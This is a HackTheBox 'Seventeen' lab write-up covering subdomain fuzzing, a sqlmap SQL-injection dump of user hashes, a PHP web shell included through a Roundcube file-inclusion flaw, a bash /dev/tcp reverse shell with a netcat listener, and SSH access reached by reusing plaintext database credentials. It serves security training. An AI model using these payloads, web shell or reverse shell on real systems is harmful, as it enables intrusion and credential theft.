HackTheBox - Seventeen Writeup
#HTB Writeup#Web
HackTheBox - Seventeen Writeup
Difficulty: Hard
OS: Linux
IP: 10.129.5.249
Introduction
Seventeen is a hard-difficulty Linux machine that requires chaining multiple web vulnerabilities across separate applications. Initial enumeration reveals multiple HTTP services hosting different portals. A SQL Injection vulnerability in the exam application allows database dumping and credential discovery. Pivoting through an exposed management system and abusing a Roundcube misconfiguration leads to remote code execution. Credential reuse enables lateral movement, ultimately resulting in user access.
Reconnaissance
Started with a standard scan using Nmap to enumerate open ports and services.
nmap -sC -sV 10.129.5.95
Results
- 22/tcp – OpenSSH 7.6p1 (Ubuntu)
- 80/tcp – Apache 2.4.29 (Ubuntu)
- 8000/tcp – Apache 2.4.38 (Debian)
Port 80 displayed a landing page with the message:
Port 8000 returned a 403 Forbidden response.
This suggested that the main attack surface would likely be on port 80.
Host Configuration
The webpage referenced the domain:
seventeen.htb
So added it to /etc/hosts:
10.129.5.95 seventeen.htb
Subdomain Enumeration
To check for hidden subdomains, used wfuzz:
Subdomain Fuzzing
Cyberexploitme$ wfuzz -u http://seventeen.htb \
-H "Host: FUZZ.seventeen.htb" \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt \
--hh 20689
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:
Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites.
Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://seventeen.htb/
Total requests: 19966
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000689: 400 10 L 35 W 301 Ch "gc._msdcs"
000001013: 200 347 L 991 W 17375 Ch "exam"
000009532: 400 10 L 35 W 301 Ch "#www"
000010581: 400 10 L 35 W 301 Ch "#mail"
000019834: 400 10 L 35 W 301 Ch "_domainkey"
Total time: 377.7298
Processed Requests: 19966
Filtered Requests: 19961
Requests/sec.: 52.85788
Discovered Subdomain
exam.seventeen.htb
After adding it to /etc/hosts:
http://exam.seventeen.htb
This revealed an application titled:
Seventeen Exam Reviewer Management System
Found an Exploit with SQLI:
The vulnerable endpoint was: [http://exam.seventeen.htb/erms/?p=take_exam&id=1](http://exam.seventeen.htb/erms/?p=take_exam&id=1)
SQL Injection Exploitation
Enumerating Databases
Cyberexploitme$ sqlmap -r exam.req --batch --dbs
___
__H__
___ ___[']_____ ___ ___ {1.10.2.14#dev}
|_ -| . [,] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 00:37:52 /2026-02-14/
[00:37:52] [INFO] parsing HTTP request from 'exam.req'
[00:37:53] [INFO] resuming back-end DBMS 'mysql'
[00:37:53] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: p=take_exam&id=99' AND (SELECT 6546 FROM (SELECT(SLEEP(5)))qYxd) AND 'bTnr'='bTnr
Type: UNION query
Title: Generic UNION query (NULL) - 11 columns
Payload: p=take_exam&id=99' UNION ALL SELECT NULL,CONCAT(0x716b6b7171,0x706c7a6a7251626e644669436942736659526654527a70596b7168664f64437a746c58627943734a,0x7171627071),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
---
[00:37:53] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 10 (buster)
web application technology: Apache 2.4.38, PHP 7.2.34
back-end DBMS: MySQL >= 5.0.12
[00:37:53] [INFO] fetching database names
available databases [4]:
[*] db_sfms
[*] erms_db
[*] information_schema
[*] roundcubedb
[00:37:53] [INFO] fetched data logged to text files under '/home/htb-mp-753832/.local/share/sqlmap/output/exam.seventeen.htb'
[*] ending @ 00:37:53 /2026-02-14/
Databases Found
- db_sfms
- erms_db
- information_schema
- roundcubedb
The most interesting database appeared to be erms_db.
Enumerating Tables in erms_db
Cyberexploitme$ sqlmap -r exam.req --batch --threads 10 -D erms_db --tables
___
__H__
___ ___[.]_____ ___ ___ {1.10.2.14#dev}
|_ -| . [)] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 00:39:02 /2026-02-14/
[00:39:02] [INFO] parsing HTTP request from 'exam.req'
[00:39:02] [INFO] resuming back-end DBMS 'mysql'
[00:39:02] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: p=take_exam&id=99' AND (SELECT 6546 FROM (SELECT(SLEEP(5)))qYxd) AND 'bTnr'='bTnr
Type: UNION query
Title: Generic UNION query (NULL) - 11 columns
Payload: p=take_exam&id=99' UNION ALL SELECT NULL,CONCAT(0x716b6b7171,0x706c7a6a7251626e644669436942736659526654527a70596b7168664f64437a746c58627943734a,0x7171627071),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
---
[00:39:03] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 10 (buster)
web application technology: PHP 7.2.34, Apache 2.4.38
back-end DBMS: MySQL >= 5.0.12
[00:39:03] [INFO] fetching tables for database: 'erms_db'
Database: erms_db
[6 tables]
+---------------+
| category_list |
| exam_list |
| option_list |
| question_list |
| system_info |
| users |
+---------------+
[00:39:03] [INFO] fetched data logged to text files under '/home/htb-mp-753832/.local/share/sqlmap/output/exam.seventeen.htb'
[*] ending @ 00:39:03 /2026-02-14/
Tables Identified
- category_list
- exam_list
- option_list
- question_list
- system_info
- users
The users table looked promising.
Dumping User Credentials
Cyberexploitme$ sqlmap -r exam.req --batch --thread 10 -D erms_db -T users --dump
___
__H__
___ ___["]_____ ___ ___ {1.10.2.14#dev}
|_ -| . [(] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 00:41:06 /2026-02-14/
[00:41:06] [INFO] parsing HTTP request from 'exam.req'
[00:41:06] [INFO] resuming back-end DBMS 'mysql'
[00:41:06] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: p=take_exam&id=99' AND (SELECT 6546 FROM (SELECT(SLEEP(5)))qYxd) AND 'bTnr'='bTnr
Type: UNION query
Title: Generic UNION query (NULL) - 11 columns
Payload: p=take_exam&id=99' UNION ALL SELECT NULL,CONCAT(0x716b6b7171,0x706c7a6a7251626e644669436942736659526654527a70596b7168664f64437a746c58627943734a,0x7171627071),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
---
[00:41:06] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 10 (buster)
web application technology: PHP 7.2.34, Apache 2.4.38
back-end DBMS: MySQL >= 5.0.12
[00:41:06] [INFO] fetching columns for table 'users' in database 'erms_db'
[00:41:06] [INFO] fetching entries for table 'users' in database 'erms_db'
[00:41:06] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] N
do you want to crack them via a dictionary-based attack? [Y/n/q] Y
[00:41:06] [INFO] using hash method 'md5_generic_passwd'
what dictionary do you want to use?
[1] default dictionary file '/usr/share/sqlmap/data/txt/wordlist.tx_' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
> 1
[00:41:06] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] N
[00:41:06] [INFO] starting dictionary-based cracking (md5_generic_passwd)
[00:41:06] [INFO] starting 4 processes
[00:41:10] [WARNING] no clear password(s) found
Database: erms_db
Table: users
[3 entries]
+----+--------+-----------------------------------+----------+----------------------------------+------------------+--------------+---------------------+------------+---------------------+
| id | type | avatar | lastname | password | username | firstname | date_added | last_login | date_updated |
+----+--------+-----------------------------------+----------+----------------------------------+------------------+--------------+---------------------+------------+---------------------+
| 1 | 1 | ../oldmanagement/files/avatar.png | Admin | fc8ec7b43523e186a27f46957818391c | admin | Adminstrator | 2021-01-20 14:02:37 | NULL | 2022-02-24 22:00:15 |
| 6 | 2 | ../oldmanagement/files/avatar.png | Anthony | 48bb86d036bb993dfdcf7fefdc60cc06 | UndetectableMark | Mark | 2021-09-30 16:34:02 | NULL | 2022-05-10 08:21:39 |
| 7 | 2 | ../oldmanagement/files/avatar.png | Smith | 184fe92824bea12486ae9a56050228ee | Stev1992 | Steven | 2022-02-22 21:05:07 | NULL | 2022-02-24 22:00:24 |
+----+--------+-----------------------------------+----------+----------------------------------+------------------+--------------+---------------------+------------+---------------------+
[00:41:10] [INFO] table 'erms_db.users' dumped to CSV file '/home/htb-mp-753832/.local/share/sqlmap/output/exam.seventeen.htb/dump/erms_db/users.csv'
[00:41:10] [INFO] fetched data logged to text files under '/home/htb-mp-753832/.local/share/sqlmap/output/exam.seventeen.htb'
[*] ending @ 00:41:10 /2026-02-14/
The hashes were identified as MD5.
During enumeration, another subdomain oldmanagement.seventeen.htb was identified.
Further Database Enumeration (db_sfms)
The database db_sfms also contained a student table:
sqlmap -r exam.req --batch -D db_sfms -T student --dump
output:
For Student ID 3, sqlmap successfully cracked the MD5 hash. Using the recovered credentials, login was successful.
📧 Webmail Exploitation – Roundcube
After downloading and inspecting the PDF uploaded to the oldmanagement system, an additional virtual host was referenced: mastermailer.seventeen.htb
After adding the domain to /etc/hosts, a new webmail portal became accessible.
Browsing to the domain revealed a Roundcube Webmail login page, indicating that an internal mail service was running on the target.
🛠 Vulnerability Background (CVE)
The Roundcube instance running on the target was vulnerable to a Local File Inclusion (LFI) style flaw that allows crafted requests to include arbitrary PHP files through the plugin configuration mechanism.
This issue is commonly referenced as:
CVE-2020-12640 – Roundcube PHP Local File Inclusion
The vulnerability can be abused by:
- Uploading a malicious PHP file to a writable location on the server.
- Leveraging directory traversal within a plugin-related parameter.
- Forcing Roundcube to include and execute the uploaded PHP file.
By combining file upload capabilities from another application with this LFI vulnerability, it becomes possible to achieve Remote Code Execution (RCE).
💥 Upload and Trigger Web Shell
First, upload a PHP file containing the following payload:
<?php system($_GET['cmd']); ?>
Place this file in the oldmanagement upload directory (for example, within the student’s files/<stud_no>/ path).
Next, use the modified Roundcube plugin parameter to perform directory traversal into that upload location. This forces Roundcube to include the uploaded PHP file.
Once included, the file becomes accessible over HTTP and can execute system commands. test:
curl "http://mastermailer.seventeen.htb/papers.php?cmd=id"
the response returns system user information (such as uid=33(www-data)), it confirms Remote Code Execution (RCE) has been successfully achieved.
Reverse Shell
To obtain an interactive shell from the web server, a reverse shell payload was used:
bash -i >& /dev/tcp/10.10.14.X/9001 0>&1
Start a listener:
nc -lvnp 9001
Trigger the payload via the web shell URL and catch the reverse shell as:
www-data
Shell Stabilization:
Once the reverse connection was received:
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
stty raw -echo
fg
A fully interactive TTY shell was obtained.
Post-Exploitation Enumeration
After gaining a stable shell as www-data, the next step was local enumeration to identify sensitive files, credentials, and potential privilege escalation vectors.
Enumerating Web Root
First, list the contents of the web directory:
ls -la /var/www/html/
Interesting Discovery
Among the directories, one stood out:
employeeemployeemanagementsystem
This appeared to be another internal application, likely backed by a database.
Credential Discovery
Navigating into the application directory revealed configuration files.
cat process/dbh.php
Inside the file, hardcoded database credentials were found:
DB_USER = root
DB_PASS = 2020bestyearofmylife
⚠️ Storing plaintext credentials inside web application config files is a common misconfiguration.
Credential Reuse – SSH Access
Since database credentials are often reused across services, the next step was to check local system users.
cat /etc/passwd | grep bash
User Identified
The following user was found with a valid shell: mark
Attempt SSH Login:
ssh mark@seventeen.htb
Password used: 2020bestyearofmylife
Result ✅ Login successful.
We now have a proper user shell as: mark
user flag:
cat user.txt